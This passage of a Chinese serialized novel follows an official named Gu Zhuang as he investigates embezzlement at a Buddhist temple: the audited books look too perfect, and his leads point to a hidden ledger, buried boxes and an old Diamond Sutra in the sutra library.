一声厉喝如同冰冷的铁鞭,骤然抽碎了账房内凝滞的空气。
明厉,这位东妙昔日的亲信,如今依旧掌管着寺内戒律的执事僧,不知何时已如铁塔般堵在了门口。
他宽阔的肩背几乎截断了门外投向广净的大部分光线。
那面无表情的脸孔之下,只有一双微微眯缝的眼睛,像两道淬过冷水的刀锋。
精准而冰冷地切割着广净和尚暴露出来的每一点缝隙。
室内檀香混着纸墨的微尘浮动。
明厉那厚重的、带着某种独特皮革味的气息,却顽固地弥散着,沉甸甸压在每一个人心头。
他面色阴沉,眼神锐利得能刺
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穿人,大步走到广净面前,居高临下地逼视着。
广净浑身猛地一颤,仿佛被那目光烫到,头几乎要埋进胸口,额角瞬间渗出细密的冷汗,在昏暗光线下闪着微光。“是!是!明厉师叔……”
“我不敢,不敢阻挠……马上办!马上办!”
他声音发颤,带着哭腔,手忙脚乱地拉开椅子坐下,手指哆嗦着去按那冰凉的电脑开机键。
那双手的颤抖如此剧烈,竟几次未能准确按下小小的电源按钮。
指尖与塑料外壳碰撞,发出细微而慌乱的“哒哒”声。
在这死寂的房间里异常刺耳。
谷庄冷眼旁观,心头那根弦绷得更紧了——这绝非仅仅是面对审查的紧张,更像是头顶悬着利刃的恐惧。
电脑屏幕终于亮起,幽幽的蓝光映照着广净惨白的脸。
他颤抖着输入账号密码,调出了寺院账务系统。
谷庄拉过一把椅子,紧挨着广净坐下,锐利的目光如同探针,逐行扫描着屏幕上滚动的数字。
审计人员将带来的原始账本簿放在电脑旁边。
一时间,账房内只剩下鼠标点击的“咔哒”声、纸张翻动的“沙沙”声,以及广净越来越粗重压抑的喘息声。
电脑主机启动的“嗡”鸣声在骤然凝固的空气里显得格外刺耳。
荧屏幕光幽幽亮起,映照着他青灰的唇色和额上细密的冷汗珠子,每一滴反射的光都显得惊心动魄。
系统进入很顺利。
寺庙过往几年的流水、开支、大额进项……一行行、一页页数据密密麻麻呈现。
审计人员熟练地操作着,指尖在鼠标和键盘上飞快移动敲击,对照着桌面上摊开的一叠摞得整齐的纸质账本。
屏息凝神的气氛在小小的财务室弥漫开来。
只剩下纸页翻动的窸窣声、鼠标点击的轻响和广净极力压抑却依旧急促难平的呼吸声。
时间一分一秒过去。
明厉的目光依旧钢针般刺在广净的侧脸和微微抖动的双手上。
良久。
审计组的一位年轻同志疑惑地抬起头,紧锁的眉头几乎要拧成一个疙瘩。
他和另一个同事快速地交换了一下眼神,低声道:“谷组长,数据层面来看……似乎没什么问题。”
“凭证、票据复印件对得上,流水也严丝合缝,和原始账本簿登记的出入数额基本一致……”
这结果简直像一记闷锤,重重击打在谷庄的胸口。
第220章 还有一本账!
他几步上前,自己夺过鼠标,指尖在冰冷的触摸屏上快速拖动滚轮。
荧幕上的数据流水般倾泻而过,那些数目字在光照下清晰可辨:信众的虔诚供奉、法事活动的名正言顺的开支、“功德无量”的种种捐款名目……
所有一切都严丝合缝,仿佛一台精密的机器运转多年,从未有过片刻偏离轨道。
完美?
太完美了!
完美到虚假!
谷庄盯着屏幕上光洁得如同镜面的数字河流,心头却仿佛翻起滔天污浊的暗潮。
这不可能!
谷庄在心中无声呐喊。
举报信里言之凿凿,东妙挪用巨额善款中饱私囊,绝非空穴来风!
眼前这份账目,做得太漂亮了。
它漂亮得虚假,漂亮得像是精心布置的迷魂阵!
他猛地抬眼,目光如电射向一旁垂手肃立的明厉。
明厉嘴角似乎勾起一丝极淡、转瞬即逝的弧度,眼神平静无波。
甚至带着一丝恰到好处的坦然,微微颔首,仿佛在说:看,清者自清。
哪里不对?
他猛地转头瞥向广净那张惊魂甫定、几乎虚脱的脸,眼神锐利得像要穿透他的皮肉,直入骨髓。
谷庄的目光,最终牢牢落在他僧袍袖口遮掩的、那双指尖仍在神经质地微颤的手上——那不是劫后余生的庆幸,而是更大的恐慌即将降临的预兆!
电光石火间,一道雪亮的闪电劈开了谷庄脑海里盘桓的迷雾!
账!系统里的账干净得像漂洗过一百遍的宣纸!
谷庄倏然明白了,一股冰冷的寒意顺着脊椎爬升——眼前这台电脑里的,是给僧俗两众、给佛协、甚至给菩萨看的“阳账”!
它堂而皇之,无懈可击。
这是阳账,是放在阳光底下、供人查验、有凭有据、完美无瑕的光明账!
那么——
还有一本阴账!
一本永远沉在阴沟淤泥里、盘根错节、散发着血腥铜臭与权力腐味的账!
那才是东妙的命根子,是他压箱底的脏底子,是把他钉死在耻辱柱上的铁证!
它绝不在冰冷的系统里,也绝不在桌面上这些漂漂亮亮的纸页中!
那能真正能揭开东妙老底、将他钉死的罪证,那本记录着资金真实流向、隐藏着无数肮脏交易的“阴账”。
必定深藏于某个不为人知的角落。
或许早已被东妙残余的死党牢牢攥在手中,如同黑暗中择人而噬的毒蛇!
突破口!真正的账……究竟藏在哪里?
谷庄的目光再次落到广净身上。
他此刻虽已停止了明显的颤抖。
但眼神空洞,面如死灰,整个人如同被抽去了魂魄的木偶。
显然,他只是一个被推到前台、早已吓破胆的傀儡。
指望他吐露真相,无异于缘木求鱼。
明厉则如同一尊冰冷的石像,散发着无形的压力,监视着账房内的一举一动。
他本身就是东妙势力依旧盘踞、控制局面的活证明。
午餐时间到了,饭菜不错,但谷庄哪里尝得出滋味?
他只是机械地咀嚼着,味同嚼蜡。
热汤氤氲的水汽扑到他脸上,却蒸不热他心头凝重的冰寒。
饭后,他独自踱到殿前那株千年银杏树下,斑驳的树影落在他紧锁的眉宇间。
寺院的秩序表面上已由智远主持,但东妙虽被免职,其人仍在寺中“静养”。
其党羽如明厉之辈仍占据要津,把持着实际运作的诸多环节。
东妙经营清凉寺十年之久,根系盘虬,枝蔓横生。
他们像潜伏在古寺肌理深处的藤蔓,表面恭顺,暗地里却疯狂汲取养分,维系着旧主的根系。
几个死心塌地的喽啰仍在明里暗里兴风作浪。
他们如同寺庙深处根植的毒藤,死死扼住广净这样的低阶僧众的咽喉,控制着暗流的走向。
不彻底铲除这些盘根错节的势力,不动摇他们控制的根基。
那本致命的“阴账”就永远不可能浮出水面!
阳光穿过浓密的银杏叶,在地上投下破碎的光斑。
谷庄抬起头,望向方丈室的方向。
智远方丈那沉静如水的面容仿佛浮现在眼前。
若不能将这深埋多年的寺庙暗桩连根拔起,抽筋剔骨,再查下去,也无非是雾里看花,水中捞月。
要撬动这沉积多年的顽石,要撕开这张由利益和恐惧编织的罗网,非得依靠这位新任方丈不可!
必须发起一场彻底的、刮骨疗毒般的整治!
一场肃清门庭、涤荡污浊的法雨,必须由内而外,沛然降临。
谷庄深吸一口气,空气中残留的香火气息似乎也变得凝重。
他转身,步履沉稳地再次向方丈室走去。
那本“阴账”如同沉在深潭的巨石,唯有掀起惊涛骇浪,方能使其重见天日。
谷庄来到方丈室。
方丈室沉重的门扉在谷庄身后无声合拢,将外界的喧嚣彻底隔绝。
室内光线幽暗,唯有高窗格棂间透入几束午后的斜阳,光柱中细小的尘埃如金粉般无声沉浮、旋舞,时间在这里仿佛被无限拉长、凝滞。
智远方丈盘膝端坐于蒲团之上,身姿挺拔如松。
刚焚起的第三炷线香顶端,一点暗红正无声地吞噬着香体,袅娜的青烟在光柱中升腾、扭曲、盘旋。
如一条游弋的淡青色游龙。
最终盘绕在神龛深处那尊韦陀菩萨的金身法相前。
韦陀金刚怒目,手持金刚杵,凛然俯视着尘世,那驱魔降妖的无形威压似乎正透过缭绕的香烟弥漫开来。
智远眼睑微垂,目光似乎落在那变幻莫测的青烟轨迹上,面容沉静如水,不见一丝涟漪。
他枯瘦却异常沉稳的右手,正牢牢扣在身前那只纯铜香炉冰凉的底托上。
那炉身沉重,底座稳稳嵌入地面。
谷庄能清晰地感受到,一股深沉的力量正从老僧的指尖,源源不断地注入那冰冷的金属。
仿佛要将自己的意志与这香炉、与这殿宇的地基融为一体。
空气里弥漫着一种难以言喻的沉寂。
这沉寂并非空洞,反而像古井深处千百年积蓄的寒水,看似平静无波。
内里却蕴含着足以在最需要时骤然掀起滔天巨浪的磅礴力量。
谷庄一路走来心头因账目受阻而翻腾的焦躁与挫败感,竟在这奇异的氛围中被一股无形的、寒流般的决断力悄然按捺、抚平。
他屏住呼吸,仿佛怕惊扰了这室内的某种平衡。
这方丈室里的沉寂,分明是在积蓄力量,一种足以涤荡污浊、重塑乾坤的力量。
他清晰地预感到,一场远比更换方丈更为彻底、更为激烈的风暴,即将在这千年古刹内部沛然降临。
“谷组长,”智远的声音忽然响起,低沉而平稳,如同古钟的余韵,穿透了香烟的氤氲,直抵谷庄耳中。
他并未抬头,目光依旧凝在烟迹之上,话语却字字千钧,“江书记的殷殷嘱托,老衲岂敢有片刻遗忘?”他扣着香炉的手指,似乎微微收紧了一瞬。
谷庄心头一震,立刻挺直了背脊。
第221章 守好这寺门关!
智远继续道,每一个字都仿佛带着金属的冷硬质感:“这场涤荡尘埃的法雨,必然会沛然而下!”
“任何魑魅魍魉,都莫想抵挡!”
他的语调陡然拔高,“佛祖座前,清净之地,岂容半分污浊沾染!”
“只是,”智远话锋一转,那激越的锋芒瞬间收敛,重新沉入深潭般的平静。
他缓缓抬起眼睑,目光终于越过袅袅青烟,投向谷庄。
那眼神深邃如古潭,带着洞悉一切的了然和一丝不易察觉的沉重,“蛇鼠盘踞多年,洞穴幽深。”
“要将其彻底清扫,还需摸清路径,辨明方位。”
“谷组长,容老衲几日时间。”最后几个字,说得异常缓慢,却像投入深潭的石子,预示着水面之下即将涌动的巨大暗流。
这短暂的“几日”,将是风暴前最后的、令人窒息的静默。
“方丈,”谷庄的声音急促却清晰,“有两个人,我思前想后,必得向您提点。”
他掩上门,小心留意着门外空寂的走廊,“慧明法师,还有明觉法师。这两人,俱是与那东妙……是断然拧不到一处去的。”
他向前半步,气息拂动智远面前的微尘,“这……或许是方丈眼下可倚为臂膀之人。”
智远方丈垂着的眼皮都未曾掀动,只是执拗的阴影微微一顿,捏着紫檀佛珠的指节,不易察觉地收紧了半分。
数珠粗糙的表面硌着指腹。
他维持着那份深不可测的古井无波:“哦?他二人……如今何在?”
谷庄如释重负,语速更快更急:“慧明法师,性子刚烈。皆因直言顶撞,反对东妙要将后山那片最是清幽的静修竹林……改建成奢华非常的‘禅意精品度假客房’,就此触怒了东妙。”
“如今被打发去了……山脚东坡那片菜园子,日日与粪水锄头为伴。”
“至于明觉法师,原先是典座,管着寺库账目。”
“几个月前,他对寺里公中的几桩大笔账银来去颇有疑虑,提出了几句……”
“结果,竟被东妙诬陷,说是私匿了几卷世所罕见的宋代手抄孤本经书,还牵扯上两尊早年间宫里赏赐的鎏金小佛像!”
谷庄重重叹了口气,“后来库房清查,自然无凭无证!”
“可这污水泼下,明觉法师百口莫辩,气性难消,一怒之下干脆就进了后山北崖那个破洞子,闭关去了,至今不见人。”
“方丈,”谷庄的声音带着一种几乎是恳求的笃定,“此二人,只要方丈以心印心,推诚相待,我相信,定能得个真相的响动。”
室内彻底沉入昏灰。
智远方丈沉默良久,仿佛连周遭灰尘落地的声音都能听见。
他终于极其缓慢地点了点头,喉头深处发出一声含混的、近乎气声的回应:“贫僧……记下了。”
数珠停止了拨动,无声无息滑进他宽大的僧袖深处,冰凉一片。
与谷庄一番秘语之后,智远方丈心中便如压了一块沉石。
慧明的遭遇清晰地烙在他脑海——那是东妙要将寺庙核心彻底改易成吸金之所的嚣张铁证,不容回避。
而明觉所蒙受的构陷更是阴毒。
直指东妙为掩盖更大罪愆不惜对同门下此毒手的冷硬心肠。
这两人,已非简单的派系对立,而是被无情碾过、推入泥潭的证人。
下午,谷庄召集林方政、鄂建设三人开了一个会。
谷庄站在桌首,手指无意识地敲击着桌面铺开的一份手绘简图——那是清凉寺及周边山势的草图。
几条通往下山的路径被粗红笔重点圈出。
他脸上的线条绷得比平时更紧,眼底沉淀着连日操劳的疲惫,但也蕴着一种猎手锁定目标般的锐利。
“情况大家都清楚了,”谷庄的声音不高,却带着某种金属般的质感,在空旷的房间里激起回响,打破沉寂,“殿宇修缮那边,一切按部就班,进展顺利。”
“我们不必天天盯着了。”
他话锋一转,目光扫过坐在对面的林方政和稍侧位置的鄂建设,那眼神如鹰隼掠过水面:“明面上的账,查了三天三夜,每一笔进出记录、每一张收据票根,翻来覆去,账目本身,干净!平!整!”
他每个字都咬得很重,像是在咀嚼某种不可名状的坚硬食物,“干净得像刚用砂纸打磨过的桌面,平得如同被压路机碾过的路面,一丝多余的凸起都没有。”
林方政闻言,眉头早已拧成一个深深的结。
他下意识地拿起面前的搪瓷茶杯,举到嘴边才想起水已冰凉,又无奈地放下。
他抬眼看向谷庄,眼神里既有对账目“完美”的疑虑,也有对后续方向的探寻。
“但是!”谷庄的声音陡然拔高,带着一种穿透迷雾的力道,“这只是水面的情况!”
“水面之下呢?暗流汹涌!”
“这潭死水下面的淤泥烂沙里,藏着多少见不得人的勾当,我们心知肚明!”
他猛地一拍桌面,桌角堆着的一叠纸页被震得簌簌作响。
谷庄的视线仿佛能穿透房梁,直指东妙所在的后院精舍方向:“智远方丈刚上任,这新方丈的位置还没坐热乎呢。”
“东妙和他那一伙人,哪一个不是攥着满手腌臜事的?他们能甘心?能坐以待毙?”
他斩钉截铁,字字如同钉锤砸入人心:“不能!狗急了还跳墙!”
“稍微有点风吹草动,比如我们动作大了一点,或者他们发现我们咬住了尾巴的尖儿。”
“这帮人绝对会狗急跳墙,第一选择就是策划跑路!夹带私逃!”
“绝不能让他们踏出寺门半步!”
“所以,”谷庄的目光锐利如刀,精准地投向负责安全保卫工作的林方政,“寺门安保必须立刻升级!”
“不仅要寺里的僧人继续轮值,我们工作组全体人员也要参与进去!”
他强调,“每一班岗哨,在原本僧人的基础上,必须确保至少有一名我们工作组的人手!”
林方政没有丝毫犹豫,立刻接口,声音沉稳有力:“明白!排班表由我来负责制定。”
“今天下午就出初稿,最迟晚饭前确认发布,保证衔接无误。”
“很好,”谷庄颔首,补充道,“关键岗位值守,得从源头起示范!”
“排班的原则,领导先上!以身作则。”
话音未落,一旁的鄂建设微微挺直了脊背。
他声音洪亮地抢过话头,显得格外突出:“谷局指示非常到位!就应该这样!”
“领导带头!”
“我看,就从今天开始!”
“今天这个晚班,就由我鄂建设来值头一班!辛苦一点,守好这寺门关!”
“明天林局坐镇!”鄂建设语速很快,仿佛早已打好腹稿,“后天,当然,就辛苦谷局您亲自压轴了!”
“这样循环下去,万无一失!”
第222章 三处埋?
谷庄应道:“鄂局主动请缨,很好。”
“这个排班提议,我看可以。”
“就按建设同志说的,今天他,明天方政同志,后天我来顶上。”
“大家轮流值班,保持最高戒备!”
他环视二人,最后将目光落在那张标注着下山路径的地图上。
语气再次变得冷峻而凝重,一字一句如同重锤敲在在场每个人的心头:“寺门封死了,只是锁住了他们的腿。”
“眼前我们要全力以赴挖出来的,是那本‘阴账’!”
“那本见不得光的暗账!那才是他们的根!”
“是他们的命脉!”
“这是我们接下来行动的头号目标,不惜一切代价,务必要把它从这庙宇的犄角旮旯里给我——抠出来!”
空气中,谷庄那低沉而充满力量的声音落下,余韵在布满尘埃的光线里嗡嗡作响。
窗外的山风似乎识趣地屏住了呼吸。
只留下满室沉甸甸、几乎令人窒息的寂静。
智远方丈枯坐禅房。
要改变目前的一切,便要依靠与东妙不对付的人!
而渡他的舟,或许就在菜园与寒洞之中。
他必须立即去见这两人。
智远方丈叫上谷庄一道离开了方丈院院墙下的狭窄侧门,绕开大路,踏上了通往山脚东坡菜地的泥径。
两人脚下是凹凸不平的田埂,鞋很快就沾满了泥泞的黑土。
空气里弥漫着作物生长的青涩土腥。
更浓烈的是粪肥发酵后那种微酸刺鼻的甜腻气味。
昨夜又下了场小雨,烂泥的湿滑冰冷顽固地吸附着脚踝,一步一滞,步履维艰。
远远望去,那片原本属于寺中最无关紧要的角落的菜畦。
此刻在暗淡的下午阳光里呈现出一种奇异的秩序感。
一垄垄青菜鲜亮整齐,仿佛碧玉雕琢出的长带。
萝卜苗挤挤挨挨,嫩叶沾着滚圆的晶莹露珠。
沟壑里还残留着一夜冷雨留下的水洼,反射着灰白的天光。
菜地中心稍高些的位置。
有个人影正弯腰挥舞着锄头,动作利落精准,每一锄下去都深及尺余,翻开的泥土湿润而蓬松。
汗水已浸透了他灰旧僧袍的脊背,洇开深色的一片。
智远方丈与谷庄两人默默走近,在几垄青菜地外站定。
那人直起腰来,拄着锄头喘息,一张黝黑粗糙如久经风雨岩石的面孔,额头深刻的皱纹里刻着疲惫与压抑的怒火,正是慧明法师。
他瞥见两人,浑浊却锐利的眼神如鹰隼锁定猎物。
随即嘴角向下一撇,重重啐了口唾沫,像是要连口中残留的泥土苦涩一并吐尽。
他什么也没说,转身又低下头,锄头刨击冻土发出沉闷的笃笃声。
像是在固执地挖掘着一个深坑。
“阿弥陀佛,”智远的声音平和地穿透了清晨冰冷的空气,“慧明师弟。”
锄头声并未停歇。
谷庄道:“慧明法师,智远方丈亲自来了!”
“东妙已经被停了职,他管不了香火殿,也管不了你这菜园子了!这总算可以了吧?”
“你所得所求可谓达到了目的。”
“去商业化,恢复清凉寺昔日的清静光景,让它真真正正成为一片清修之地,这就是你最大的心愿啊。”
“法师,现在尘埃落定,你的担心该过去了。”
“是你开口的时候了,我谷庄拿身家担保,这个寺庙之内,绝没有人能再打击报复你了。”
锄头声似乎顿了一刹那!
“贫僧知晓后山那片竹林之事。”慧明猛地定住,锄头悬在半空,背影僵硬如铁。
土地静默无语,唯有寒风倏忽掠过田垄之上。
许久,慧明才慢慢转过身,眼神里那锐利的锋芒化作了沉沉千钧的钝痛,直刺向智远,嘴唇翕动,像要撕开一道久已淤积的伤疤:“那地方…有东西。”
智远心中一凛:“何物?”
慧明的喉咙艰难地滚动了一下,声音撕裂般干哑:“有人看见…东妙!”
他猛一挥手,指向远处云雾弥漫的峰峦,那是竹林的方向,“深夜!不止一回!”
“带他那狗腿子明厉和悟机两人,抬着……像包铁皮的箱子!”
“往那……该死的‘度假地’打的地基深坑里填!”
他猛地深吸一口冷冽的空气,声音嘶哑,“那地下…绝对埋了东西!”
他胸膛剧烈起伏:“方丈!谷局!那片竹林!”——这几个字是从牙缝里挤出来的,带着血丝——“根下脏!是那东妙藏污纳垢的地方!”
言毕,恨恨地将锄头再次狠狠砸入泥土。
智远面沉如水,袖中的紫檀佛珠被骤然捏紧,指甲几乎陷入木纹深处。
箱子?深夜?地基深坑?
地基之下,难道竟是藏匿罪证的窟穴?
这念头如毒藤般猝然缠绕住心脏。
竹林改造工程背后,不仅是对清修圣地的玷污,更可能直接连通东妙那些见不得光的铁证!
慧明已彻底撕开了表面平静的一角,露出其下狰狞的腐土与杀机。
谷庄也是一脸惊骇,库房外墙根、大雄宝殿后方两处,明显被动过手脚,有掩埋东西的痕迹。
现在又增添了一处“度假地”竹林?
三处埋?
东妙这家伙捞了不少啊!
智远沉凝地开口:“师弟受苦了。此事…贫僧心中有数。”
慧明眼中浑浊的火焰却骤然黯淡下去。
那是一种长期磨损后的、近乎绝望的冷漠,嘴角扯起一个苦涩的弧度:“有数?呵,又有何用?”
那嘲讽似乎不是对智远的。
更像是对这命运本身的一次空茫回击。
他不再看智远,佝偻着背脊,将锄头再次沉重地举高、落下。
他的脊梁如风化的枯石,每一锄都似乎更佝偻一分,沉默地陷入泥地,仿佛要将自己也一同埋进这片见证了他所有屈辱的泥土之中。
他佝偻的身影愈发孤绝而沉重,与这片广阔、沉默、散发着肥沃腐败气味的土地融为一体。
“贫僧说的有数,不是不管,而是要管!”
“师弟放心吧!”智远双手合十走了,留下了一脸惊愕的慧明。
告别沉入泥土的慧明,智远的心仿佛浸入了更深的寒潭。
慧明的愤怒像燃烧过后剩下的冰冷灰烬,绝望如藤蔓缠绕心口。
他与谷庄两人默默循着更为僻静陡峭的后山小径攀援而上,脚下的石阶湿滑布满碎苔。
每一次抬脚都带着行于刀刃般的谨慎,只觉肩头的担子被一种看不见的冰冷重量愈压愈沉。
后山山风愈发凛冽凄厉,贴着山崖呼啸盘旋,寒气渗骨。
几经周折,两人才在几近垂直的峭壁裂隙中,发现一个半被疯长的野藤荆棘掩住的洞口。
那藤蔓虬结纠葛,带着刺。
像一个天然却森严的拒止机关。
无声诉说着主人决绝与世隔绝的心迹。
拨开带着尖刺的枝条,弯腰钻进阴冷的洞窟。
一股浓郁的、混合着尘土、岩石霉变和某种陈旧草药气息的味道扑面而来,带着穿透衣衫的寒意。
第223章 线索出来了
洞内仅容两三步深。
一线微弱的惨白光线,从洞顶狭窄的缝隙里吝啬地透入,斑驳地洒落在洞底一个盘坐的身影上。
那人垂着头,一领单薄的旧僧袍裹着枯槁如柴的身躯,肩头突出的骨骼硌得布料嶙峋,露出的脖颈皮肤皱缩灰败,毫无光泽。
他枯瘦的手搁在膝盖上,如同两节风吹日晒多年的焦黑老树枝,毫无生气。
明觉法师在这非人之所苦熬的清修,几乎已耗尽了他身为人的最后一点精神气。
智远放轻脚步走近,席地坐在他对面冰冷的石头上,望着那张深深埋进胸前阴影的脸:“明觉师弟。”
那头颅纹丝不动,似乎连呼吸都已凝结。
良久,久到洞顶缝隙那缕光都悄然偏移了一指宽,那低垂的头颅才极其缓慢、犹如锈蚀的机括般抬起几寸。
一张凹陷、憔悴、仿佛魂魄被抽干了的脸,皮肤紧贴着嶙峋的颧骨,嘴唇干裂泛着灰白,映入智远眼帘。
唯有一双眼睛,那曾被诬陷玷污的眼眸,在枯槁的面容上投来一瞥,疲惫如深潭,却意外地没有浑浊一片。
里面沉淀着一种被巨大屈辱和愤怒反复淬炼过的、冷硬如冰刃的清醒与执着。
“明觉法师,东妙停止了一切职务,这位是清凉寺新上任的智远方丈。”
“东妙报复不了你,现在是你应当说话的时候了。”
“方丈……是为账目而来?”声音干涩沙哑,像破败的风箱挤出。
“是。”智远单刀直入,目光沉凝,“师弟当年所疑,此刻于本寺重若山岳。”
“那本隐于水面之下的账目……便是渡尽诸难、重结因果之船。”
“账?”明觉那枯瘦的嘴角痉挛般往上抽动一下,几乎能称得上是个短暂到难以捕捉的讥诮表情,微弱得如同蛛网,“呵……那账……东妙……怎会……留下纸墨之痕……”
智远瞳孔骤然收缩。
无需明言,这句话如冰锥刺入骨髓!
这印证了他最深的忧虑——暗账的存在方式已远超传统纸页所能承载。
是密文?是化入寻常字句?
还是已彻底化为无声无形的……电子流水?
他身体微微前倾,声音压得更低,在这逼仄的冷窟中几乎只有气流擦过:“师弟当年,是察觉到了……不可见之处?”
明觉那深陷的枯眼凝视着虚空某一点,像是穿透岩壁看向更远的往事:“我……查过近几年所有……”
“经阁请用香火名册……大笔善款,名册空无影踪……账目却有记载……”
他艰难地咳了几声,喉咙如风干纸张般嘶哑,“还有……布施处登记簿……”
“本该有金主亲笔……名讳……东妙……把持收进……只给总数……不留……根底……”
“功德箱有二维码,那是东妙手机二维码,香客扫码支付就到了东妙的账户上。”
“那便无据可查?”智远紧追不舍。
“无……从明面查起……”
“绝无可能……”明觉的喘息愈发急促,每一次吸气都带着破洞风箱似的刺拉嘶鸣。
他缓了许久,瞳孔在昏暗中艰难地重新凝聚焦点,死死对上智远的目光:“方丈……藏经楼……”
只此三字出口,明觉整个人便猛地剧烈痉挛抽搐起来,仿佛这三个字耗尽了这具身体积存的所有精气。
“哗啦”一声轻响,紧裹着他的那件破旧袈裟被他枯瘦痉挛的手指下意识攥紧、撕裂开了一道口子,露出底下更显嶙峋、布满褶皱的灰暗皮肤。
他整个人痛苦地蜷缩起来,头颅再次深深地、决绝地埋进了自己瘦骨嶙峋的臂弯里,背脊剧烈起伏,干呕般的气息在冰冷的石洞中回荡,如同耗尽了油灯在黑暗中最后的挣扎。
这次,那沉重的头颅埋下后,再也没有丝毫抬起的迹象,仿佛与这幽暗冰冷的洞窟永久凝为一体,变成了石壁上一尊永恒垂首的凄凉塑像。
藏经楼!
三个字如淬火钢钉,砸入智远心头。
藏经楼是一个佛家极为看重的地方,是神圣无比的!
那座被岁月熏染成檀褐色的三叠木阁,承载寺中千年经卷古藏,亦是所有僧侣精神信仰所系的殿堂。
难道佛光的庇佑之下,佛口经声之中,恰恰隐藏着最深的权财污垢?
竟然成了藏污纳垢之处?
他凝视着眼前这副被痛苦和恨意彻底啃噬空的躯壳,洞顶那缕苍白的日光艰难地斜照下来。
在明觉枯灰的僧袍上拉出一道长长的、沉默的、凝固的影。
智远无言地站起身,洞外的冷风瞬间灌入,扬起几缕细微的尘埃。
他没有再开口,只是朝着那蜷缩不动、如同石化般的身影,微微地、深深地合十行礼。
转身离开石洞时,那些盘结的带刺藤蔓,如同一根根冰冷漆黑的钢针,扎破了他指尖。
几滴浓稠的血珠滚落在枯叶之上。
悄然渗入那片荒芜的泥土。
“慢着,藏经楼太大,还得找广净!”明觉倏地叫道。
谷庄心中一凛,线索出来了,这比什么都重要!
夕阳沉沦,暮色如浓稠墨汁迅速吞噬山寺。
智远方丈枯坐禅房蒲团之上,身姿端正,唯有捻动佛珠的指尖泄露一丝内心的惊涛。
慧明在菜园泥泞中对竹林地基下埋藏“铁箱”的嘶吼犹在耳畔炸响。
明觉法师在寒洞深处,耗尽了最后生机才从齿缝挤出的那三个字——“藏经楼”,更如闷雷滚过心湖,激荡万丈波澜。
谷庄回到自己的位于西侧僧寮区尽头的临时住处。
门枢发出“吱嘎”一声干涩的长吟,在幽暗寂静的回廊里显得格外刺耳。
夜色已浓,院中只余几盏悬在廊下的孤灯,散着昏黄如豆的光晕。
勉强驱散近前的黑暗。
更远处的景物则被沉甸甸的夜色吞噬。
他没有解下外衣,甚至顾不上喝一口水。
甫一站定,甚至没等气息完全平复。
他便倏然转身,对着门外暗影中沉声道:“小陈小王!”
话音落处,两道身影几乎是无声地从廊柱的阴影下显露出来,像两道融入夜色又剥离出来的利刃。
正是负责核心安保任务的两名得力干警。
他们眼神锐利,静默地站在谷庄面前,身形投下的影子在昏黄的灯光里拉得很长,充满了压迫感。
“你们俩,”谷庄的声音压得很低,每一个字都像淬过冰水,冷冽清晰,“马上去小沙弥广净的僧房。”
“把他请过来见我。”他目光如炬,牢牢钉在两人脸上,强调着重点,“动静要小!”
“尽量不要惊动其他人。”
他顿了顿,微微往前倾身,那无形的威压如同实质的重锤,“方式方法给我把握准了——是‘请’!不是抓!”
“态度要到位,但也要保持必要的警惕。懂?”
两名干警眼中精光一闪,几乎没有任何迟疑,斩钉截铁地沉声应道:“明白!”
就在这电光石火、两名干警的脚步声即将消失在门口石阶下的刹那——门口的阴影忽然毫无征兆地蠕动了一下!
第224章 要旧的!
如同院外树梢的一片枯叶被秋风吹落,一个极其瘦小伶仃的身影。
不知何时已经无声无息地贴在了静室敞开的门框边沿,姿态谦卑地躬身。
月光吝啬地打在他灰旧的僧袍上,勾勒出一个几乎没有重量感的轮廓。
正是小沙弥广净!
他手里捧着一个老旧的搪瓷茶缸,里面是温热的茶水。
“谷组长,”广净的声音压得极低,带着一种抑制不住的颤抖,眼神飞快地瞟向四周,确认无人,“您……您喝茶。”
他将茶缸塞到谷庄手里,动作仓促。
谷庄接过,指尖触到茶缸温热的外壁,也触到了广净冰凉的手指。
他不动声色:“谢谢广净师傅。”
广净没有立刻离开。
他低着头,双手紧张地绞在一起,嘴唇翕动了几下,似乎在进行激烈的内心挣扎。
最终,他用几乎听不见的气声,语速极快地说道:“我知道您与方丈到了后山,明觉师叔肯定说了藏经楼,还得找广净!”
“是不是?”
谷庄没有否认。
“他说得对!您……您要是真想看账……别信……别信那台电脑,那是人操纵的机器……”
“《金刚般若波罗蜜经》经书……旧的……或许……”
话未说完,他猛地住口,脸上血色尽失,惊恐地看了一眼东妙住的方向,如同受惊的兔子。
他转身就逃。
灰色的僧袍在昏暗的光线里迅速消失在小径尽头。
“旧的《金刚般若波罗蜜经》经书?”谷庄心中猛地一跳,像被投入石子的古井。
广净那破碎的、充满恐惧的提示,像黑暗中骤然闪现的火星。
他端着那缸温热的茶,站在原地,指节因用力而微微发白。
冰冷的心底,被这点微弱的火星烫了一下。
藏经阁浩瀚如海。
《金刚般若波罗蜜经》经书才是关键?
广净冒死递来的这点星火,指向的究竟是生门,还是另一重更深的陷阱?
他抬头,再次望向那灯火通明的东妙僧房。
夜色如墨,沉沉压下,那窗口透出的光。
此刻看来,竟带着一丝幽冷的意味。
东妙的身影,并未在窗前出现,但那无形的威压,仿佛已弥漫至整个院落。
谷庄慢慢呷了一口缸中的茶水,温热的液体滑过喉咙,却驱不散那刺骨的寒意。
所有的碎片都在指向一个中心——那本被重重掩盖的账目,才是解开这古刹迷雾的唯一钥匙。
谷庄握紧了茶缸,指尖的暖意与心底的寒流无声对抗。
藏经阁的轮廓在夜色中如同蛰伏的巨兽,广净那句“旧的《金刚般若波罗蜜经》……经书”在脑海中反复回响。
那幽深的阁楼里,在积满尘埃的经卷深处,是否真的沉睡着能刺破黑暗的真相?
他缓缓吐出一口浊气,将最后一点温热的茶水饮尽。
无论前方是佛光还是深渊。
藏经阁,他都必须去闯一闯了。
暗夜无边,那卷被刻意遗忘的旧经文,或许就是唯一能劈开这浓重黑幕的微光。
深夜,仿佛墨汁浸透了宣纸,连月色也被浓厚的云层吞噬得一干二净。
白日喧嚣的清凉寺终于彻底沉入死寂的深海。
唯有山风掠过古树的枝叶,发出低沉呜咽的叹息。
如同不知名的孤魂在千年古刹的飞檐斗拱间游荡徘徊。
不知过了多久。
仿佛凝滞的时间之轮终于艰涩地转动了一格。
确认巡夜僧的身影消失在另一侧偏殿的方向后,谷庄与两个安保人员的身影无声地滑出廊柱的庇护,如同融入暗夜的一滴浓墨。
厚重的藏经楼门年深日久,推开时带动的气流发出短促而尖细的呻吟——“吱——”,这一声如同锐器刮过绷紧的琴弦,刺破了浓稠的宁静。
阁楼内浓重的香烛烟气混合着木质经年累月的气息轰然涌出,沉甸甸地迎面扑来。
